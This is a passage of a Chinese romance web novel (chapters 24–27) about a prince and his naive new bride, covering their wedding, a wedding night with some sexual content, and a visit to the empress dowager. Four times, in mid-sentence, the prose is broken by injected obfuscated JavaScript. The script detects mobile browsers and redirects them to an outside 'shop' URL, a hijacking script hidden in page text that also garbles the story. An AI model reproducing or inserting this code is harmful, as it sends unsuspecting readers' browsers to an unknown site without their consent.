“媚儿,我的媚儿,你怎么这么可爱?”封肆捧着她的脸,爱不释手。 她得意扬起脖颈:“我就是这么可爱。” 封肆笑着将她搂在怀里:“若是嫌头冠重,回了卧房里就就卸了,不必顾及旁的。” “是有点重,唉,我怎么以前没发现这些头冠这么重呢?可能是老了吧?” “什么老了?”封肆觉得好笑,“那是原本就重。” 她撅撅嘴:“好吧。” “往后戴些绢花吧,绢花不重,你喜欢什么样的?回头让人来府上给你做。” “我要桃花的、杏花的、梨花的、牡丹花的,反正什么样的我都要,最好做成一个大花冠!” 那还不是发冠吗?就像他第一眼瞧见她那样,简直就是花树成精。 封肆无奈摇头:“你喜欢就好。” 她还在叽叽喳喳说个不停,要将衣裳上也缝满绢花,封肆想都不敢想,那样一身穿出去会有多扎眼。 鼓乐声歇,马车停,她喋喋不休的小嘴终于停下,深吸一口气,举着重重的脑袋,唉声叹气,扶着他的手,缓缓落地,慢慢悠悠往前挪。 封肆余光瞥见,也放慢脚步。 这一段路不长,走到厅中时正好,鼓乐唱和声响,柳娆盯着头上的冠,缓缓弯腰,又缓缓站起,每回稳稳站直后,都要长舒一口气,庆幸发冠还牢牢钉在头上。 最后对拜时,她一个没站稳,哎呀一声要往外摔,被对面的人眼疾手快扶住。 24. 第 24 章 她抬眸,傻笑两声。 封肆眼中也带着笑意,将她打横抱起,在鼎沸人声中稳步走出,低声叮嘱:“要是累了就先歇息,我会早些回来。” 她悄悄打了个哈欠:“是有点困。” 封肆顾忌周围目光,强忍着才没亲她,径直将她抱进房中放在床上,趁人不注意,立即往她嘴上重重亲一口:“我让人给你送吃食来。” “我的口脂!”她连忙捂唇。 “给你买新的。”封肆笑着大步离开。 柳娆朝他背影看两眼,见房门关闭立即招呼侍女:“快快,快将我头上的发冠拆去,太重了,我脖子都快被压断了!” 王府中的侍女笑着迎来:“奴婢春雪、奴婢秋露见过王妃。” “噢噢,我知道了,你们赶紧和纤云巧月一起帮我将身上的首饰都卸了,真的好重好重,我方才拜堂的时候都差点摔了。” 侍女不敢耽搁,立即上前伺候。 全身的装扮卸下,她长舒一口气,瘫软在梳妆台上:“终于舒服了。” “王妃,去床上歇吧。”纤云弯身轻哄。 “王妃?”她圆鼓鼓的脸颊压在台面上,挤成半团,眼睛亮晶晶的,新奇道,“这个称呼不错。” 侍女应和:“是啊,您以后就是王妃了。” 她满意点点头,手一抬,脑袋一扬:“扶本王妃去休息吧!” 几个侍女上前,搀扶着她回到床上,笑着配合:“王妃娘娘要先睡一会儿,还是要先用晚膳?” 她高兴地在雕花木床上滚了一圈,窝在柔软的被褥里,长长打了个哈欠,心满意足:“先睡觉吧,我好困了。” 话音刚落,轻浅的呼吸声随之传来。 纤云给她整理好被褥,放下帐子,悄声退出几步。 王府的侍女跟上,轻声问:“两位姐姐,方才瞧你们跟王妃娘娘十分亲近,我们才来王妃身旁伺候,不知王妃平日里有何顾忌,特来跟两位姐姐请教,以免伺候不周。” “王妃娘娘比寻常人家的小姐要娇贵些,不过也没什么顾忌的,王妃性情好,从不罚人的,比寻常贵人好相处多了,你们往后便知晓了。”纤云说完,也问,“我们也是头一回到王府,不知王爷身旁还有没有其他的……” 春雪低声道:“我们从前是在太后宫中服侍的,也是刚来王府不久,不过据我们所知,王爷身旁并没有其余的人。” 纤云连忙道:“原来是在太后宫中服侍过的,那如何能唤我们姐姐?应当我们唤您二位姐姐才对。” “王爷喜爱王妃,特意向太后要人来伺候王妃,太后便派了我们来,往后一同共事,也不必姐姐来姐姐去的了。” 纤云微微惊讶:“原是如此,那往后还请二位多多指教了。” 几人闲话着,将卧房收拾齐整,守在门外安静等候。 今日宾客众多,各路官员名门不说,就连太后和皇帝也亲临,封肆惦念着要早些回房,可招待完宾客,早已夜深,他看时辰已晚,赶忙推脱几句,匆匆往卧房走。 “媚儿呢?”他朝守门侍女问。 “王妃睡下了,这会还未醒。” 他微微颔首,轻轻推门,悄声走到床边,小心翼翼掀开帐子,几乎是看到酣睡小脸的那一瞬,嘴角便不禁弯起。 那张小脸卸了装饰,反而更加恬静可爱,他忍不住低头在她耳旁搅扰:“媚儿,不是要洞房的吗?” “嗯?”柳娆眼皮动动。 封肆在她身旁挤下,将她搂进怀里,悄声重复:“洞房。” 她睁眼,迷迷糊糊看他片刻,恍然清醒:“对啊,要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086499|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞房的,你回来啦,你赶紧去沐浴。” 封肆随她坐起,轻轻咬住她的唇:“我们一起去?” “可是我早上洗过了啊。”她眉头蹙蹙,微微后仰,“你喝酒了吗?好呛人。” “我去洗,你等我?” “好。”她郑重点头,在心中将纤云说的那些复习一遍,又翻箱倒柜将母亲给她的册子拿出来,躲在床边细细看,嘀嘀咕咕自语,“怎么还有这么多花样?不过也不用样样都来,只要洞房了就行了吧?” “在地上做什么?”封肆擦着胸膛上的水珠走来。 柳娆慌张将册子塞进箱底,将箱子推进推进床底,转头一看,惊叫一声:“啊!” “怎么了?”封肆走近两步。 “你怎么不穿上衣?” “我身上的水没擦干,一会要洞房,穿了也得脱。” “噢噢。”柳娆胡乱点点头,钻进被子里,为难道,“那是不是我也得脱?” 封肆在床边坐下,擦着水珠,笑问:“不是你说要洞房的?” “也是。”她躲在被子里,快速脱去衣裳。 封肆挂好帕子转头,刚好对上她白花花的手臂,愣了好一下。 她红着脸道:“我有点不好意思,我不想全脱了。” 封肆笑着搂住她:“不想就不想吧。” 她嘴一咧,又高兴起来,光滑的手臂被红色小衣衬得更加雪白透亮,环抱住他的脖颈,在他脸上亲了好几下:“你别紧张。” “嗯?”封肆不明所以,“什么?” “就是你别紧张啊。”她推着他倒下,将碍事的长发甩去脑后,俯首在他嘴上亲吻。 他皱了皱眉:“你……” “嘘!”柳娆打断,一脸认真道,“别说话,不要影响我思考。” 25. 第 25 章 封肆更疑惑了,微微撑起:“你思考什么?” “洞房啊。”她一把将人推回去,坐起身,解开他的腰带,在他腰上拍一巴掌,“抬一下,寝裤要脱。” 封肆彻底被她弄懵了,跟随她的指示照做,随后看见她整张皱起的小脸:“怎么了?” 她愁眉苦脸,小声嘀咕:“册子上画的是假的吧?这么大一个,怎么可能能弄得了?” 她一把抓住,她怼,她怼,她再怼。 “停、停。”封肆慌忙阻止,他怀疑再让她多折腾一会,自己就得折她手里。 柳娆有些迷茫又有些生气:“不是要洞房吗?你别打搅我。” 封肆咽了口唾液:“要不我来?” “你会?” “应该比你会。” 柳娆呆呆点头,缓缓松手:“好吧。” 封肆如释重负,长松一口气,搂着她翻身而上,轻声问:“下午睡了多久?” 她气道:“一回来就睡了,你要是不会就下去,不要说些无关的话。” 封肆满头黑线,他是怕她紧张,所以才说些无关紧要的话,他悄自叹息一声:“那我直接来了?” “来吧。”她眉头稍稍舒展,大方摊开双手。 封肆忍住笑意,弯身咬住她的唇,在她腰间轻抚,痒得她咯咯笑。 “媚儿。”封肆也无奈笑,“能不能认真一些。” 她立即收起笑容,故作严肃:“我腰上有痒痒肉,一碰就痒。” 封肆搂起她的腰,掌心缓缓下移,落在她臀上。 “你!”她瞳孔一缩,红着脸道,“你别这样,我有点儿不好意思。” “你方才摸我,我都没有不好意思。”封肆在她脖颈上细吻,轻声引导,“亲脖子痒不痒?” 她屏息凝神:“有点儿。” 封肆在她软乎乎的脸颊轻轻啄吻:“媚儿,放松,别紧张,抱着我,也这样亲我。” 她眨眨眼,软柔微凉的双臂轻轻贴上他的腰背,笑眯眯抱紧:“小四,你好暖和呀。” “亲我。”封肆滚烫的气息也喷洒去。 她顿了顿,试着在他脸颊轮廓上亲了亲,慢慢挪到他的脖颈上,学着他那样舔舐,被他粗重的呼吸声吓了一跳。 “你你你……你是不是生病了?” “没有,继续亲。”封肆将她按回颈窝里。 她咽了口唾液,打量打量他的神情,小心翼翼的吻似有若无,近在咫尺的呼吸声却更加凌乱。 “你……啊!”她还没来得及关心他,突然痛呼一声,眉毛几乎拧成一团,哭丧着喊,“疼。” 封肆却道:“放松。” 她一点也听不进去,仰头哭嚎着道:“怎么疼的是我啊?” 封肆恍然未觉,他也了解过一些,还以为只是正常的,过了这道坎便好,没想到人哭的更大声了。 “啊啊啊!”她惊叫,眼泪四溅,手脚并用奋力挣扎,“痛痛痛!” 封肆这才发觉不对,紧忙松手,将她搂入怀里:“好了好了,痛就不继续了。” 她满脸是泪,鬼哭狼嚎着要挣脱:“好疼,好疼!你弄疼我了!你根本就不爱我!” “我不是故意的,我以为你已经准备好了。媚儿,乖媚儿,莫怕,我不继续了。”封肆紧紧将她按在怀里,连声轻哄,“我真的不是故意的,我不知道会这么严重,不哭了,好不好?” 她吸吸鼻子,瘪着嘴看着他紧皱的眉头,哽咽道:“也是,你娘没跟你说。” 封肆顾不得她说的是什么,只轻抚她的背,不停安抚:“疼就不继续了,我只抱着你,好不好?” 她顿了顿,将脑袋轻轻靠在他肩上,紧紧抱住他的腰,委屈巴巴:“好疼。” 封肆在她额头上贴了贴:“是我的错,是我弄疼你了,抱歉,媚儿。” 她眼泪渐渐停了,安静依偎在他怀里。 许久,封肆还以为她已入睡,忽然听见她肚子里的咕噜声,不禁弯唇:“饿了?” 她抬眸,泪水洗过的眼眸里能映出人影:“我一回来就睡了,还没有吃饭呢。” “那起来用晚膳?” “嗯。” 封肆松了口气,搂着她坐起,给她套上外衣,将她扶起。 她一歪,摔倒在他怀里。 “还疼?” 她连连点头。 封肆悄自叹息一声,将她放在腿上,给她套上寝裤:“我抱你去桌边用膳?” 她又点头。 封肆抱起她往桌边走,朝外吩咐一声,侍女悄声进门,将饭菜呈上。 她看着满桌子菜,眼睛一下亮了,连疼都顾不上,伸着脖子张望:“哇,今天的席面这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098940|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丰盛啊。” “想吃什么?让侍女给你夹。” “你给我夹嘛。”她抱住他的脖颈,轻轻晃晃。 封肆要被这娇滴滴的声音迷晕,忍不住轻声细语:“我抱着你呢,腾不出手夹菜。” 她贴在他脸边,轻声撒娇:“可是我想你喂我。” “让侍女夹来,我再喂你,好不好?” “那好,那我要吃山药饼。” 封肆一手搂着她,一手拿着筷子给她喂食,生怕噎着她,小心翼翼将山药饼夹断,小块小块喂给她。 她倚在他的肩头,软绵绵,懒洋洋,一点不着急,慢慢悠悠往下咽,一顿饭吃到红烛燃半才吃完,整个人又软成一滩水,窝在他怀里。 封肆手臂抱得发酸,嘴角还扬着,伺候完她漱口,又将她抱回床上,心甘情愿继续搂着她:“吃好了?” 她枕在他肩上,眯着眼:“真好吃。” “哪个好吃?吩咐侍女,让她们叫后厨做。” “都好吃,就是太多了,有点吃撑了。” 封肆在她圆鼓鼓的肚皮上轻揉:“以后少吃些,别将我的乖宝贝撑坏了。” 她害羞一笑,埋头在他胸膛里:“我是你的宝贝呀。” “是啊,你是我的乖宝贝。”封肆躺下,和她额头抵着额头,悄声问,“乖媚儿,还疼吗?” “疼。”她抱住他,微微闭眼,“好困,睡觉吧。” 封肆也怕再弄哭她,不敢再动作,将她往怀里又搂了搂,也合上眼。他这两天几乎是连轴转,也有些疲惫,眼一合,立即便要陷入梦乡。 “夫君。”怀里的人突然又开口,“我们今天算是洞房了吗?” “嗯?”封肆又睁眼。 柳娆重复:“我们算是洞房了吗?” 封肆不明所以:“算。” 柳娆长舒一口气,靠回他肩上。算就好,要不然还得再洞房一次,她真的会疼晕过去的。 封肆等了半晌,没听见她的下话,垂眸一看,见她睡得正香,带着一头雾水也睡去。 日上三竿,温热的日光照进窗棂,封肆睁眼,动了动已被压得僵硬的手臂,不慎将身旁的人吵醒。 “天亮了。”柳娆刚醒,嗓音沙哑软糯,迷迷糊糊看来,猛得睁眼,眯着眼笑:“哎呀,我成亲了呀,我说怎么身旁还有个人呢。” 26. 第 26 章 封肆的心瞬间被软化,什么僵不僵硬疼不疼,全抛去脑后,亲昵地在她脸颊上亲两口:“醒了?要躺一会还是起来洗漱用膳?” “要洗漱。”她撑着他的肩膀站起,钻出帐子,仰头看一圈,忍不住惊叹,“天呐,房顶坠着好多蝴蝶呀,我才看见。” 封肆随手挂上帐子,笑着看去:“你不是喜欢蝴蝶吗?我特意让人布置的。” 房梁上挂满了缀着珍珠的珠帘,珠帘最下挂着一只蝴蝶,不知是用绢布还是用什么材质做成的,蝴蝶翅膀亮晶晶的,在日光下闪着五彩的光芒,如梦似幻,栩栩如生。 柳娆盯着,移不开眼:“天啊,它怎么这么亮啊,好漂亮。” “用贝壳做的。”封肆从身后抱住她,“喜不喜欢?可以让人取下来给你。” 她回眸:“能做成发冠吗?” 封肆无奈低笑:“这个做成发冠也很重的,你要是不嫌重,可以让匠人给你做一顶。” “我可以放在家里看着啊,又不一定要戴出去。” “好吧,你高兴就好,过两日我就让匠人来。” 柳娆啵得在他脸上亲一口:“谢谢夫君!” “去洗漱吧。”他推推她,“用完早膳我们还得去宫里。” “去宫里做什么?”柳娆接过侍女递来的帕子,轻轻擦洗脸颊,含糊不清问。 封肆接过她用过的帕子,随意擦一把脸:“去拜见太后,先前一直忙着,昨日人又多,便未让你们见过。” 她吐出漱口水,眨眨眼:“太后是你娘吗?” “对,是我亲生母亲。” “那她、她会不会打我?” 封肆总有些弄不明白她脑子里在想什么,疑惑反问:“她为何要打你?” 她抿抿唇,小声道:“我二哥说的呀,林御史家规森严,我娇纵任性,等嫁过去,公公婆婆肯定要教训我的。你想,你娘是宫里的人,不是规矩更多?我原本想,你娘不和你住一起,我就不用见她了,没想到还是要去,我能不能不去呀?” 封肆后知后觉:“你是因为这个才不想嫁去林家的?才想嫁给我的?” 柳娆立即就要点头,瞧见他认真的面容,又赶忙抱住他:“那当然是因为你喜欢我,我也喜欢你啦。” 封肆瞧出她的小心思,哼笑一声:“去用早膳吧。” 她往前走两步,又回头:“我能不去吗?” “放心,太后不会为难你。” “噢。”她还是有些忐忑,“真的?” 封肆郑重道:“若是她为难你,等回来我让你为难。” 柳娆这才应下:“好吧,那我就信你一回,你可不许骗我噢。” “不骗你,吃饭。” “让我看看今天都有什么吃的。”她蹦跳着过去,将盖子一个个揭开,俯身深吸一口,自顾自往碗里盛,“天啊,真香啊,比我家里的饭菜丰盛多了,当王爷真好,每天都可以吃这么多好吃的。” 封肆好笑看着她,默默往她碗中夹菜。 她美美吃饱,坐在梳妆台前,懒懒靠在椅上,还在念叨着方才的饭菜:“那个粥不知道是用什么做的,特别好吃,我感觉现在嘴里都还有那股鲜香味。” 封肆坐在旁边等着:“喜欢明日让他们再煮。” 她笑眯眯点头:“好,那个菜心也好吃,和我从前吃的味道一点儿都不一样。” 封肆一句句应着,等到快午时,人才收拾齐整,坐上马车,缓缓出门,出了门,她仍旧喋喋不休。 “我还没去过皇宫呢,皇宫是不是很大?” “大,一天都走不完。” “那漂亮吗?” “漂亮,雕梁画栋,亭台楼阁,只有你想不到的,没有皇宫没有的。” “那你从小就住在皇宫里,不是很幸福?” 封肆笑了笑,轻轻揉揉她的脑袋。 若是与寻常人相比,他们肯定算是幸福的,就算是最不受宠的皇子也能吃饱穿暖,但这些年的明争暗斗真的也让人身心俱疲,牢狱之灾,严刑酷吏,他也不是没受过。 柳娆看不出他眼底的情绪,乐呵呵抱住他的脖子,仰着头畅想:“嗯,我现在是王妃了,我以后也能过这种幸福日子咯。” 他亲亲她的脸颊:“王府也很大,你不喜欢吗?皇宫进去了,可就没那么容易出去了。” “不能随意进出?那还是算了,王府就挺好的,我还是在王府里住吧。你是不是给我扎了秋千?我还没看到呢,我们回去坐吧。” 马车缓缓停下,封肆搂搂她的肩:“就在院子里,你回去就能看到,走吧,得步行过去。” 她点点头,跨下马车,脚步跟着往前,目光却忍不住四处飘,小声道:“宫墙好高啊,要是爬上去,摔下来,会摔死的吧?” 封肆觉得好玩:“为什么要爬上去?” “不是你说进来了就出不去的吗?那那些想出去的人就只能翻墙了啊。” “你瞧宫墙上站的都是什么人?” 柳娆抬头看去,才瞧见宫墙上守着的护卫,惊得往后一仰。 封肆扶住她:“还想爬墙?你以为那些护卫都是站在那里玩的?” 她拍拍心口,庆幸道:“还好我没嫁进宫里。” “嘘。”封肆捏捏她的鼻尖,低声道,“这种话也是能乱说的?当心皇帝听见罚你。” 她咽了口唾液,当即噤声,不敢再左顾右盼,端端庄庄朝前。 封肆握住她的手,笑着轻声又道:“也不用太过担心,陛下是我亲兄长,待我一向优厚,放心吧,你真说错了话,我也能保你无事。” 她仰头看他,眼眸中星光闪闪:“你这么厉害啊。” 封肆从前很不喜欢谄媚的目光,眼下却觉得格外受用,笑着道:“当然。前面就是太后宫,走吧。” 侍女从宫殿中迎出来,一见是他们,立即笑着行礼:“太后方才还念叨着殿下,殿下这便就来了,真是母子连心,殿下快请。” 封肆牵着人跨进殿门,踏步进入殿中,朝太后跪拜:“儿臣拜见母后。” 柳娆余光看一眼,跟着他一同跪地行礼。 “快起来吧,快都起来。”太后笑着将他们召起,“昨日新婚,你们都累着了,哀家知道你们会来晚一些,便只让人准备了晚膳,你们留在宫中用晚膳吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104101|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“多谢母亲。”封肆在榻上坐下。 柳娆要跟着他一起,被太后拉住:“来,坐哀家身旁,让哀家好好看看。” 她慌得连忙朝封肆看去,扑闪扑闪眼睛求助。 “看他做什么?陪母后说说话不好吗?”太后笑着握住她的一双手,“哀家早听宁王提起过你,昨日你们成婚,未得相见,今日全是第一回见面。你叫媚儿是吧?” 她一动不敢动,呆呆点头。 “哀家听宁王说你喜欢首饰珠宝,这是哀家年轻时的首饰,大多没戴过,如今年龄大了,也用不上了,你拿去吧。” 侍女将托盘一个个呈上,她双眸唰一下亮了,忍不住笑道:“多谢太后娘娘。” 太后抬抬手,拿起一支桃花金簪轻轻别进她发中,让人举着铜镜来,笑问:“喜欢吗?” 她连连点头:“好看!” “这支也好看,嵌着粉宝石,还坠着流苏,来。”太后又拿起一支,朝她招招手。 三言两语之间,柳娆脸上的笑便已停不下来,什么公公婆婆早忘去脑后,侍女提醒该唤母后,她立即改口,亲亲热热喊着母后。 日光正好,园子里的花争相绽放,太后握住她的手在花园逛完,叫人拿了花瓶剪子来,同她一起插花,封肆坐在一旁负责听她们使唤。 她嫌花不够,拎着花篮自己在园子里挑选,蹦蹦跳跳穿梭在花丛中,跟只兔子似的。 封肆看着她的背影,轻声道:“媚儿心思简单,不重规矩,可没有坏心,还请母亲见谅。” “哀家看出来了,媚儿单纯可爱,哀家和她相处的很愉快,想来你也是如此。这样也好,你已尊贵至此,实在不能再尊贵,不如就娶一个自己喜欢的,过些简单的日子,早些外放。” “是。” 柳娆采了花,蹦蹦跳跳又回来,举起一朵粉牡丹:“母后,你看这朵好看吗?” 太后牵着她坐下:“好看。” “那我给母后簪上!”她笑眯眯凑过去,毫不犹豫将那朵粉牡丹插进太后的发中,一点犹豫的机会都不给人留,待太后反应过来时,头上已顶着一朵硕大的粉牡丹花了。 “咳咳。”封肆抵唇轻咳两声示意。 柳娆一点也没会意,双手捧着脸看着自己的作品,满意极了,甚至又要拿起一朵粉色的小菊花:“母后再插上这个会更漂亮。” “咳咳!”封肆高声咳嗽。 柳娆手一顿,拧眉看去:“你嗓子不舒服啊。” 封肆低声道:“母后年岁大了,经不起你这么折腾,你喜欢就插自己头上。” “你说什么?!”柳娆简直不可思议,“母后看着年龄一点也不大啊,你简直是胡说嘛。” 封肆一噎。 太后的贴身侍女笑着上前,举起铜镜:“王妃说得是,娘娘您和年轻的时候没什么区别,这牡丹花簪在娘娘头上再合适不过。” “对啊对啊。”柳娆往太后脸边一凑,软乎乎的脸颊挤着太后的脸,看着铜镜感慨道,“多好看啊,要是再多簪两朵会更好看!” 太后原还在笑着,一听这话,连忙道:“这就很好看了,来,媚儿,哀家给你簪。” 27. 第 27 章 她被簪了朵将放未放的荷花,粉粉嫩嫩的,她一下就挪不开眼,喃喃道:“真好看啊,要是再多簪几朵会更好看。” 不待旁人回答,她立即将剩下那几朵荷花苞全插在脑袋上,活脱脱就是个花瓶,封肆扶额,不忍直视。 侍女笑着夸:“王妃娘娘明眸皓齿,花容月貌,就是簪满了花,也是极美的。” 柳娆很是受用,抬着下颌连连点头,头上的花苞跟着一颤一颤:“嗯,我也觉得。” 在场之人都忍不住笑,太后也道:“媚儿是很漂亮。” 她又往头上簪两朵,实在簪不下了,看着满篮子的花,叹息一声,突然,双眼放光朝对面的人看去。 封肆直觉不妙。 “我给你簪吧。”柳娆兴致勃勃,起身就朝他来。 他赶紧后仰:“我不用,你给自己簪吧。” 柳娆歪着头看他:“为什么呢?我和母后都簪了啊?你为什么不簪呢。” 簪花没什么,簪一头的花……他咽了口唾液,随时准备起身就走:“我不想簪,你自己簪吧。” “你为什么不想簪呀?多好看啊。” 他看着那只伸过来的魔爪,噌一下站起:“我进宫还没去见过皇兄,我现下去。” 太后看他一眼:“你就让媚儿簪一朵,能如何?” 柳娆理直气壮应和:“对啊,你就让我簪一朵,能如何?” 他悄自叹息一声,又坐回去:“说好的啊,只簪一朵的啊。” 柳娆拿起一朵花往他脑袋上比划:“你为什么只要一朵?你不觉得戴多一些更好看吗?” 他脖子一缩:“要么一朵,要么就不簪了。” 柳娆撇撇嘴,小声道:“你凶我。” 封肆顾忌着太后在,连忙拉着她的手,小声道:“没凶你,我只喜欢簪一朵,簪多了太重,我头疼。” 她点点头:“好吧,那就给簪一朵。” 封肆松了口气,稍稍正坐,看着她从一篮子的花里挑出那朵大红色的菊花时,嘴角一抽。 她按住他的脑袋,稳稳当当将那朵又大又红的菊花别在他的发冠上。 封肆闭了闭眼,深吸一口气,当做脑袋上的东西不存在。 “好看吗?”柳娆举着铜镜来,扒开他的眼皮,“你看啊,好看吗?” 他无奈点头:“好看好看。” 柳娆弯着腰,笑眯眯看着他:“真好看,我们昨天成亲的时候,你应该簪一朵这么红的红花的。” 他对上她的笑眼,泄了气:“你说好看就好看。” 柳娆后退几步,满意欣赏一番,又朝太后问:“母后,你觉得好看吗?” 太后早忍不住笑:“好看,哀家还从未见过宁王这副模样呢。” “你看,母后都说好看。”柳娆牵住他的手,左看右看,将那支红菊花往里又簪一簪,高高兴兴继续插花。 封肆松了口气。 太后笑看他一眼:“挺好的。” 他无奈笑笑:“她就是这样,母后莫要和她一般见识。” “谁?”柳娆抬眸。 “没你的事,你继续插花。” 柳娆眉头一皱:“你……” 封肆赶忙打断:“没凶你,插花吧,你要是喜欢,将这几瓶花抱回去。” “噢。”柳娆往他手中塞一把剪子,“那你跟我一起插花。” 他暗自叹息,老老实实接过剪子,听候她的差遣修剪花枝,一整个下午,全耗在摆弄花枝上,整个园子的花都快被薅秃。 眼见天暗,他立即开口:“去用晚膳吧。” 柳娆还在摆弄花瓶,眼都未抬一下。 封肆俯身,低声道:“宫里的吃食比家里的还丰盛。” “嗯?”她眼一掀,放下剪子,“那我们去用晚膳吧,这些花可以带回去再插。” 封肆扬唇,牵着她跟在太后身旁:“媚儿快将整个园子的花都采完了,若是有人问起来,我还真是说不清。” “这有什么,几盆子花而已,让人再送些来就是了,你皇兄总不会因为这个怪罪你,若真问起来,便说是哀家采的。”太后朝柳娆看去,“媚儿,到哀家身旁来。” 柳娆立即松开封肆的手,绕去太后身旁。 太后笑着握住她的手,亲昵地跟她说着闲话,说说笑笑回到寝宫,晚膳时也是和她坐在一块,给她盛汤布菜,天色昏暗,又派人亲自将他们送出宫。 马车缓缓前行,柳娆懒懒倚在封肆肩上,一副餍足的模样。 封肆肩头动动:“玩好了?” 她眯着眼,昏昏欲睡:“嗯。” “我没有骗你吧?太后不会为难你。”封肆低头,用鼻尖在她脸颊上蹭蹭,温热的气息在她脸上轻挠。 她不耐烦哼哼着躲开:“不要弄我,我好困。” 封肆将她打横放在腿上,轻声问:“怎么又困了?早上起得挺晚的。” “可是我中午没睡啊。”她捏住他的嘴,“你不要和我说话了,我要睡觉了。” 封肆轻声叹息,许久,忍不住又问:“媚儿,还疼不疼?” 睡梦中的人迷迷糊糊哼了一声,也不知道回答的是什么,封肆又叹息一声,将人抱紧一些。 翌日天明,身旁的人醒了,他也跟着睁眼,偏头看去。 柳娆打了个哈欠,目光呆呆。 “醒了?”封肆稍稍侧身,轻轻搂住她的腰,在她脸颊上啄吻。 她眨眨眼,呆呆看来,钻进他的怀里。 封肆心都要化了,将她整个搂住,连声轻哄:“没睡醒吗?乖媚儿。” “头疼。”她哑着嗓子喊,“你给我按按。” “为何头疼?请太医来看看?”封肆指腹轻轻在她太阳穴上轻轻按压。 “困。” “困再睡一会儿?” “可是我饿了,我要起床吃饭。” 封肆无奈低笑:“好吧,那起来吧。” 柳娆黏在他身上不动弹:“你抱我起来。” 他叹息一声,嘴角却忍不住上扬,将她整个抱起,又是亲自给她洗脸,又亲自伺候她吃饭,饭一吃完,人立即有精神了,也不黏着他了,蹦蹦跳跳往院子里寻秋千,他不紧不慢跟在后面。 “天啊,好大的秋千,好漂亮啊。”柳娆围着花架子转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108797|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一圈,才坐去花架底下的秋千上,还是忍不住仰头看着架子上的月季。 封肆停在她跟前,笑着看去:“这么喜欢?还有花房,要不要去看看?” “好啊。”她立即站起。 封肆主动迎上一步,搂住她的肩往前走:“看看这院子里新种的花,都是你说喜欢,我才让人弄的。” 她笑着在他脸上亲一口:“谢谢夫君!” 封肆也不知道自己是怎么了,只是一句感谢的话而已,他却十分受用,嘴角放都放不下去。 花房在房后的小院,正是夏日,蝴蝶兰盛放,幽幽花香传来,柳娆循着花香去,站在花房里深深吸一口,高兴地原地转圈圈:“真漂亮。” “花房下面挖了地笼,等天冷了,将地笼发上火,花房里的花仍旧能盛开。”封肆道。 柳娆冲过去,仰头看他,满眼星光:“哇塞,夫君,你太厉害了吧!” 封肆嘴角扬得垂不下来:“还想要什么?尽管跟夫君说。” “嗯……暂时没什么想要的,等我想到了再说吧。”柳娆抱住他的腰,轻轻晃晃,“夫君,你真好。” 他搂着她跟着笑一会儿,垂首在她耳旁低声道:“晚上我们再试试好不好?” “什么?”柳娆闭着眼靠在他胸膛上问。 他喉头微动:“没什么,晚上再说。明天要回门,我让人准备了一些礼品,你看看还需不需要额外准备什么?” “嗯?明天要回去吗?”柳娆抬头,“你都准备了些什么?” “大概是酒,布匹之类的。” 她微微点头,一样样算过去:“酒可以给我爹,布匹可以给我娘……” 封肆轻声打断:“布匹准备得不少,不止有给你母亲的。” “什么你母亲我母亲,那也是你娘。” “好好,不止有给娘的。” 柳娆满意点头,继续道:“哥哥们应该不喜欢这些东西,大哥喜欢古籍,二哥喜欢文玩,三哥嘛应该喜欢字画。” “去我书房里看,里面有不少你说的这些东西,你自己挑。” “那太好了!我给他们一人挑一样,再给娘和两个嫂嫂准备几支簪子,这就差不多了。” 她一样样选好,包装整齐门别类摆好,目光又落去自己的大箱子上。 这回成亲,她新得了许多首饰衣裳,除了封肆和家里给的,还有成亲时旁人送的贺礼,都是各种各样的的首饰和摆件,她摆弄着就停不下来。 她兴致勃勃摆弄一个下午,塞满所有衣柜和首饰柜,心满意足地收手,封肆也松了口气。 这满满几柜子的首饰和衣裳,几乎没有几件是这个小磨人精收的,全都是他收的。 “唉!收拾东西可真累呀,我得吃多点才行,不然把我饿瘦了可怎么办?” 封肆额角抽了抽,在她身旁坐下,垂首低语:“用完晚膳,我们一起沐浴。” “不行,家里的浴桶太小了,我们两个人一起洗,会把桶弄坏的。” “倒也是,那我们早些沐浴,早些歇息?”封肆以为她能听懂。 